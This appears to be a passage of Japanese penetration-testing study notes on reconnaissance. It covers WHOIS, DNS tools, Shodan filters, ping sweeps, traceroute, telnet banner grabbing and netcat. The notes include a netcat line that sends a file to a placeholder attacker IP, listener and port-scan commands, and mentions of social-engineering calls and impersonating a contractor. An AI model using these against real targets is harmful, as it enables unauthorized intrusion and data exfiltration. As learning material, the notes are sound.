2.1. 偵察
2.1.1. 偵察
偵察
偵察(Recon)は攻撃対象に関する情報を収集するための事前調査のこと。
システム上で最初の足がかりを獲得するための最初のステップと言える。
受動的な偵察と能動的な偵察
受動的な偵察
受動的な偵察は公開されている情報から行う偵察のこと。
攻撃対象と直接関わることなく、公開されているリソースからアクセスできる知識が中心となる。
受動的な偵察の例は以下の通り。
- パブリックDNSサーバからドメインのDNSレコードを検索する
- 対象サイトに関連する求人広告を確認する
- 対象企業に関するニュース記事を閲覧する
能動的な偵察
能動的な偵察はターゲットとの直接的スキャンなどを行う偵察のこと。
能動的な偵察の例は以下の通り。
- HTTP、FTP、SMTP などのプロトコルで対象サーバに接続する
- 情報を入手するために対象組織に電話をかける (ソーシャルエンジニアリング)
- 業者を装って会社敷地内に侵入する
2.1.2. 受動的なネットワーク偵察
WHOIS
WHOISはRFC 3912仕様に準拠した要求および応答プロトコルのこと。
WHOISサーバは43ポート(TCP)で受信リクエストを待ち受けをする。
ドメインレジストラはリースしているドメイン名のWHOISレコードを維持する責任があるため、WHOISサーバは要求されたドメインに関連するさまざまな情報を応答する。WHOISサーバが返すWHOIS情報は以下の通り。
- レジストラ
- 登録者の連絡先情報
- 作成日、更新日、有効期限
- ネームサーバ
whoisコマンド
WHOIS情報を確認できるコマンド。
WHOIS <DOMAIN_NAME>whoisサービス
JPRSのWhoisサービスも利用できる。
https://whois.jprs.jp/
https://www.nic.ad.jp/ja/whois/ja-gateway.html
ASNのリスト
国外のwhois情報はASNのdescription欄を検索し、管理NWを洗い出す。
https://bgp.potaroo.net/cidr/autnums.html
https://hackertarget.com/as-ip-lookup/
nslookupとdig
nslookupコマンド
IPを調べたり、DNSサーバにドメイン名を問い合わせなどを行えるコマンド。
nslookup [オプション] [ドメイン名] [DNSサーバ]オプションには-type=でクエリタイプが指定できる。
| クエリの種類 | 返す情報 | 
|---|---|
| A | IPv4アドレス | 
| AAAA | IPv6アドレス | 
| CNAME | 正規名 | 
| MX | メールサーバ | 
| SOA | ゾーンの管理情報 | 
| TXT | TXTレコード | 
# 権威サーバの検索
nslookup -q=NS [ドメイン]digコマンド
詳細な情報をDNSサーバから取得できるコマンド。
dig [@問い合わせ先DNSサーバ] ホスト名|ドメイン名|IPアドレス [クエリタイプ]| オプション | 説明 | 
|---|---|
| -x | 指定されたIPアドレスの逆引きを行う | 
| -p ポート番号 | 問い合わせ先のポート番号を指定(53番がデフォルト) | 
| クエリタイプ | 説明 | 
|---|---|
| a | ホスト名に対応するIPアドレス(デフォルト) | 
| ptr | IPアドレスに対応するホスト名 | 
| ns | DNSサーバ | 
| mx | メールサーバ | 
| soa | SOAレコード情報 | 
| hinfo | ホスト情報 | 
| axfr | ゾーン転送 | 
| txt | 任意の文字列 | 
| any | すべての情報 | 
なお問い合わせ後に表示されるflagsには以下のようなものがある。
| フラグ | 説明 | 
|---|---|
| qr | 問い合わせに対する回答 | 
| aa | 権威のある回答 | 
| rd | 再帰検索を希望 | 
| ra | 再帰検索が可能 | 
また回答の表示されるセクションは4つに分かれる。
- QUSETION SECITION- 問い合わせ内容の表示
 
- ANSWER SECTION- 問い合わせの回答内容の表示
 
- AUTHORITY SECTION- 問い合わせ先に権威がある場合に表示
 
- ADDITIONAL SECTION- 回答したホストのIPアドレスなど追加情報が表示
 
DNSDumpster
DNSDumpsterはDNS クエリに対する詳細な回答を提供するオンラインサービス。
DNSDumpsterで検索すると、一般的なDNSクエリでは提供できないサブドメインが見つかる場合がある。
また収集したDNS情報を読みやすい表とグラフで表示してくれる。
Shodan.io
Shodan.ioはクライアントのネットワークに能動的に接続せずに、クライアントのネットワークに関するさまざまな情報を得ることのできるサービス。別の言い方ではIoTデバイスの検索エンジンともいえる。
防御的側面ではShodan.ioで提供されるサービスを使用して、機関に属する接続されているデバイスや公開されているデバイスについて知ることが可能。
Shodan.io はWebページの検索エンジンとは対照的にオンラインでアクセス可能なすべてのデバイスに接続して、接続された「モノ」の検索エンジンを構築しようとする。応答を受け取るとサービスに関連するすべての情報を収集し、検索可能にするためにデータベースに保存しようとする。
サービスの検索とASN
shodan.ioでドメイン名を検索するとASNが表示される。
ASNはCloudFlareなどのCDNプロキシなどで秘匿されたサーバのIPアドレスを取得するのに使用できる。
これはGoogleのような巨大企業の場合、所有するすべてのIPアドレスに対して独自のASNを持っている可能性があるためである。
ASN(自律システム番号)はIP アドレス範囲のグローバル識別子のこと。
shodan.ioの検索バーでフィルタASN:[number]と検索するとそのASN上にあるWEBサイト全体を確認できる。
検索フィルタ
コチラで検索クエリを適切に使用するとAND検索などで詳細に調べられる。
asn:AS14061 product:MySQL| フィルタ | 説明 | 
|---|---|
| asn | ASNで検索 | 
| country | 国 | 
| ip | IPアドレス | 
| product | 製品/サービス名 | 
| os | OS | 
| port | ポート | 
より多くのフィルタはコチラ。
その他ドメイン調査
| サービス | URL | ユースケース | 
|---|---|---|
| ViewDNS,info | https://viewdns.info/ | 登録者名を用いたドメイン検索 | 
| Reverse Whois Lookup | https://www.reversewhois.io/ | 登録者名を用いたドメイン検索 | 
| SecurityTrail | https://securitytrails.com/ | ドメインに対するキーワード調査 | 
| Censysの証明書検索 | https://censys.io/certificates | SSL/TLS証明書のドメイン/発行者に対するキーワード検索 | 
2.1.3. 能動的なネットワーク偵察
ブラウザからの偵察
Webブラウザを使用してターゲットに関する情報を収集する方法ではHTTP(80)/HTTPS(443)によるアクセスを確認できる。
その際に役立つアドオンを記載する。
FoxyProxy
ターゲットのWebサイトへのアクセスに使用しているプロキシサーバーをすばやく変更できる拡張機能。 Burp Suiteなどのツールを使用している場合やプロキシサーバを定期的に切り替える必要がある場合に便利な機能といえる。
User-Agent Switcher and Manager
別のOSまたは別のWebブラウザからWebページにアクセスしているふりをすることができる拡張機能。
Wappalyzer
訪問したWebサイトで使用されているテクノロジーに関する情報を提供する拡張機能。
コマンドによる偵察
指定したホストにICMPパケットを送った際の反応を確認できる。
なおIPv6の場合はping6コマンドを使う。
ping [ホスト名] [IPアドレス]| オプション | 説明 | 
|---|---|
| -n | ホスト名を指定せずにIPアドレスを表示する | 
| -c 回数 | 指定した回数のみICMPパケットを送信する | 
| -i 間隔 | 指定した間隔ごとにICMPパケットを送信する | 
| -s サイズ | 指定したパケットデータのサイズで送信する | 
また、ネットワーク上のすべての IP アドレスを ping するワンライナーは以下の通り。
# Linux用1
for i in {1..255}; do IP="192.168.1.$i"; ping -c 1 -W 1 "$IP" &>/dev/null && echo "$IP active" || echo "$IP N/A"; done
# Linux用2
for ip in $(seq 1 255) ; do ping 192.168.1.$ip -c 1 | grep "from" ; done
# Windows用1
for /L %i in (1,1,255) do ping 192.168.1.%i -n 1 -w 10 | findstr "TTL"
# Windows用2
for ($i = 1; $i -le 255; $i++) { ping -n 1 -w 10 192.168.0.$i | Select-String "TTL" }tracerouteコマンド
指定したホストまでパケットが伝わる経路を表示するコマンド。
ネットワークの途中経路に障害がある場合、障害個所を特定できるコマンドといえる。
なお注意事項としてネットワーク経路上にICMPパケットを返信しないホストが存在する場合は適切な動作は期待できない。
なおIPv6の場合はtraceroute6コマンドを使う。
traceroute [ ホスト名 | ドメイン名 | IPアドレス ]| オプション | 説明 | 
|---|---|
| -i インターフェース | ネットワークインターフェースを指定する | 
| -n | ホスト名をIPアドレスで表示する | 
telnetコマンド
telnet接続できるコマンド。 なおTelnet を使用して任意のサービスに接続し、そのバナーを取得できる。
telnet <IPアドレス | ホスト名> [ポート]バナーを取得する際は以下で行う。
- telnet <IPアドレス | ホスト名> [ポート]でアクセス
- GET / HTTP/1.1と入力(80の場合)しEnter
- host: 任意の値でEnterしEnterを2回押す
ncコマンド
ncコマンドはTCP/UDPを使ったネットワークの通信を行うコマンド。 ポートスキャンや通信状態の確認が可能。 他にも以下のことが可能。
- リスニングポートに接続するクライアントとしての機能
- 選択したポートをリッスンするサーバーとして機能
nc [ ホスト名 | IPアドレス ] [ポート番号]なおオプション-vzを指定することでポータ範囲の指定とポートスキャンが可能。 なおudpの場合はuを追加する。
また1024 未満のポート番号をリッスンするには root 権限が必要となる。
| オプション | 意味 | 
|---|---|
| -l | リスニングモード | 
| -p | ポート番号を指定 | 
| -n | 数値のみ。DNS経由でホスト名を解決できない | 
| -v | 詳細な出力 (バグを発見するのに役立つ) | 
| -vv | 非常に詳細 (オプション) | 
| -k | クライアントが切断された後もリッスンを続ける | 
使用例は以下の通り。
# サーバとして待ち受け
nc -lvnp [ポート番号]
# Netcatによるファイル転送
# 送信側
nc [攻撃者のIPアドレス] 9999 < [filename]
# 受信側
nc -l -p 9999 > [filename]
# Netcatによる複数ポートスキャン
nc -zvn [IPアドレス] [ポート番号] [ポート番号] [ポート番号]...
# NetcatによるUDPポートスキャン
nc -zvu [IPアドレス] [ポート番号]-[ポート番号]